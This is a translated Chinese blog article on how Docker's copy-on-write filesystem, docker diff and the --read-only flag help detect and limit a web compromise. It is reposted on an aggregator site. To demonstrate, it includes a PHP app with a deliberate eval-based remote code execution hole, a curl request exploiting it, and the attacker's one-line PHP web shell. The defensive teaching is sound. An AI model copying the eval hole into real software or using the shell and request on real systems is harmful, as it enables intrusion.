使用不可变基础设施让系统更安全

本文讲的是使用不可变基础设施让系统更安全【编者的话】DiogoMónica是Docker的安全领导者。他是Square的早期员工,领导平台安全团队。获得计算机科学学士学位,硕士和博士学位。他担任几家安全初创公司的顾问,是一名长期的IEEE志愿者。本文他提供一个利用容器的不变性来防御黑客攻击的新思路。

Docker容器的一个整洁之处在于它们是不可变的。 Docker附带一个写入时复制文件系统,这意味着基本映像不能被修改,除非你显式地做一个提交。

这么做的原因之一是你很容易检查偏差,如果试图调查一个安全事件,这可能会派上用场。

演示应用程序

以下面的演示架构为例:
Security-@Scale-diagrams.png

我们有一个在前端运行的 PHP应用程序 ,以及一个充当我们的后端数据库的MySQL服务器。你可以执行下面的命令:
 docker run -d --name db -e MYSQL_ROOT_PASSWORD=insecurepwd mariadb
 docker run -d -p 80:80 --link db:db diogomonica/phphack 

当你已经运行了数据库和前端,你应该可以看到如下的页面:
Screenshot-2015-06-03-17-31-26-1.png

不幸的是,并不像别的正常的PHP应用程序,这个应用程序有一个远程代码执行漏洞:
if($links) {  
<h3>Links found</h3>  
... 
eval($_GET['shell']);  
?>  

它看起来像有人在使用本不该被使用的 e​​val !任何攻击者都可以利用此漏洞,并在远程主机上执行任意命令:
 curl -s http://localhost/\?shell\=system\("id"\)\; | grep "uid="
uid=33(www-data) gid=33(www-data) groups=33(www-data)    

任何攻击者对被攻击的主机做的第一个操作是下载PHP shell和工具包。有些攻击者甚至可能会重新改造你的网站:
Screenshot-2016-09-03-20-36-55.png

从被黑中恢复回来

回到不变性,写时拷贝文件系统提供的一个很酷的事情是能够看到发生的所有更改。通过使用 docker diff 命令,我们可以看到攻击者对文件的所有修改:
 docker diff pensive_meitner
C /run  
C /run/apache2  
A /run/apache2/apache2.pid  
C /run/lock  
C /run/lock/apache2  
C /var  
C /var/www  
C /var/www/html  
C /var/www/html/index.html  
A /var/www/html/shell.php    

很有趣。似乎攻击者不仅修改了我们的 index.html ,而且还下载了一个 php-shell ,命名为 shell.php 。但我们的重点应该是让网站恢复回来并重新上线。

我们通过做一个docker提交来存储这个镜像以供后续做分析,并且由于容器是不可变的,我们可以重新启动我们的容器,让业务继续提供服务:
 docker commit pensive_meitner
sha256:ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3  
 docker kill pensive_meitner
 docker run -d -p 80:80 --link db:db diogomonica/phphack  

backinbiz.png

我们现在可以回到保存的镜像,看看攻击者修改了什么
 docker run -it ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 sh
# cat index.html
<blink>HACKED BY SUPER ELITE GROUP OF HACKERS</blink>  
# cat shell.php
<?php  
eval($_GET['cmd']);  
?> 

这看起来像是我们刚刚被著名的超级精英集团黑客(SUPER ELITE GROUP OF HACKERS)入侵了。

增加黑客攻击成本

在被攻击后查看攻击内容是一个很实用的功能,但是如何才能避免被攻击?这个时候 --read-only 就要发挥作用了。

--read-only 会让Docker不允许任何在容器的file-system内进行写入操作。它可以避免 index.php 被修改,更重要的是,它不会允许攻击者下载php shell,以及任何其他对于攻击者来说有用的工具。

我们下面来试验一下:
 docker run -p 80:80 --link db:db -v /tmp/apache2:/var/run/apache2/ -v /tmp/apache:/var/lock/apache2/ --sig-proxy=false --read-only diogomonica/phphack
...
172.17.0.1 - - [04/Sep/2016:03:59:06 +0000] "GET / HTTP/1.1" 200 219518 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48"  
sh: 1: cannot create index.html: Read-only file system   

由于我们的文件系统现在是只读状态,因此攻击者无法修改index.html 。

这个方法能完全阻止攻击吗?

肯定是不可以的。在我们能够修复RCE漏洞之前,攻击者依然可以在host上运行代码,偷取我们的权限,在数据库中盗取数据。

但是尽管如此,我们毕竟通过组合 最小化镜像 和一些非常酷的 Docker安全功能 提升了黑客的攻击难度,让系统变得更安全了一些。

总结

我们的应用程序的安全性永远不会是完美的,但是具有不可变的基础架构有助于事件响应,允许快速恢复,并使攻击者的成本加大。

如果通过使用强大的沙箱和调整一些旋钮,你可以使你的应用程序更安全,你为什么不? 

原文链接: Increasing Attacker Cost Using Immutable Infrastructure  (翻译:高洪涛)

===========================================
译者介绍

高洪涛,当当网架构师,开源数据库分库分表中间件Sharding-JDBC作者。目前从事Docker,Mesos相关工作

原文发布时间为:2017-01-05

本文作者:高洪涛

本文来自云栖社区合作伙伴Dockerone.io,了解相关信息可以关注Dockerone.io。

原文标题:使用不可变基础设施让系统更安全

优秀的个人博客,低调大师

微信关注我们

原文链接:https://yq.aliyun.com/articles/225234

转载内容版权归作者及来源网站所有!

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

相关文章

发表评论

资源下载

更多资源
Mario,低调大师唯一一个Java游戏作品

Mario,低调大师唯一一个Java游戏作品

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Oracle Database,又名Oracle RDBMS

Oracle Database,又名Oracle RDBMS

Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的、适应高吞吐量的数据库方案。

Apache Tomcat7、8、9(Java Web服务器)

Apache Tomcat7、8、9(Java Web服务器)

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。

Sublime Text 一个代码编辑器

Sublime Text 一个代码编辑器

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。